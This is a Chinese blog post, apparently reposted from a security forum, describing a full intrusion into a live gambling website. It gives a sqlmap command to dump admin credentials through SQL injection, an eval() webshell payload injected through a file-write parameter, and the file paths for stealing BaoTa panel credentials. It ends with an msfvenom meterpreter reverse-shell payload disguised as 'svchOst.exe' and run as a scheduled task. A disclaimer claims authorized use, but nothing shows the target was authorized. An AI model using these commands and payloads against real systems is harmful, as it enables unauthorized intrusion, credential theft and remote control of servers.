一次BC站点的GetShell过程

原文

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

图片

文章正文


0x1 获取源码

首先先常规扫一波目录:

dirsearch -u 'http://x.x.x.x:80/' -e php

并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。

图片

Github:

图片

0x2 进入后台

通过之前的扫描,可以获取到后台登陆地址。

图片

访问可以看到登陆页面。

图片

没有验证么,果断上一波常规的弱口令FUZZ,无果。那么只能通过源码进行突破了, 首先观察网站的后台鉴权逻辑主要是通过包含common/login_check.php进行判断。

图片

<?php
@session_start(); //后台登陆验证

if(!isset($_SESSION["adminid"])){
    unset($_SESSION["adminid"]);
    unset($_SESSION["login_pwd"]);
    unset($_SESSION["quanxian"]);
    echo "<script>alert('login!!pass');</script>";
    exit;
}else{
    include_once("../../include/mysqlio.php");

那么最直接的思路,就是找到一个没有包含这个文件的地方。

find ./ -name "*.php" |xargs grep -L "login_check.php"

找到文件Get_Odds_1.php, 发现其中的$type参数直接拼接进SQL语句中,存在注入。

图片

正常情况:

图片

输入单引号,出错:

图片

SQLMAP 跑出账号密码,,这里虽然是GET类型的SQL注入,但是直接使用sqlmap的-u参数是不行的,需要使用Burp抓包,保存数据包然后用-r参数。

 sqlmap -r sql.txt -D dsncly -T sys_admin --dump

图片

0x3 GetShell

进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。

图片

黑盒没找到很明显的办法了,只能进行快速代码审计了,直接全局搜索危险函数eval,file_put_contens、fwrite、fputs等。

图片

可以看到这里写入的文件是php文件,且内容可以通过ta_msg参数进行控制,也没有过滤,只有简单的去除两边的空格,这里务必要自己本地进行构造下,避免出现闭合失败的错误。

构造payload:');eval($_POST[a]);var_dump(md5(1));//;

最终写入到文件gp_db.php

图片

成功GetShell

图片

0x4 宝塔提权

通过phpinfo,可以看到disable_function,同时通过nmap扫描端口,可知目标存在宝塔。

不过幸运的是,shell的权限还是蛮高的,可以浏览到宝塔的目录。

图片

获取宝塔密码:

D:/BtSoft1/panel/data/default.pl

开放端口:

D:/BtSoft1/panel/data/port.pl

后台地址:

D:/BtSoft1/panel/data/admin_path.pl

获取账号:

D:/BtSoft1/panel/data/default.db

通过上面步骤获取到的账号和密码,登陆到后台http://xxxx:8888/Tajl2eP0/

图片

登陆进去之后会弹出强制绑定窗口,可以通过直接访问/site来绕过这个。

下面有两种思路进行提权:

  1. 通过软件管理->已安装,删除禁用函数,来实现命令执行。

图片

图片

  1. 通过宝塔自带的计划任务。

MSF生成木马

msfvenom -p windows/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 5  LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv  -f exe > svchOst.exe

放到C盘即可,然后添加shell计划任务

图片

ipconfig /all 查看网络状态

图片

简单查看下arp -a和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。

0x5 总结

本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。


本文转自https://forum.butian.net/people/2968,如有侵权,请联系删除。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值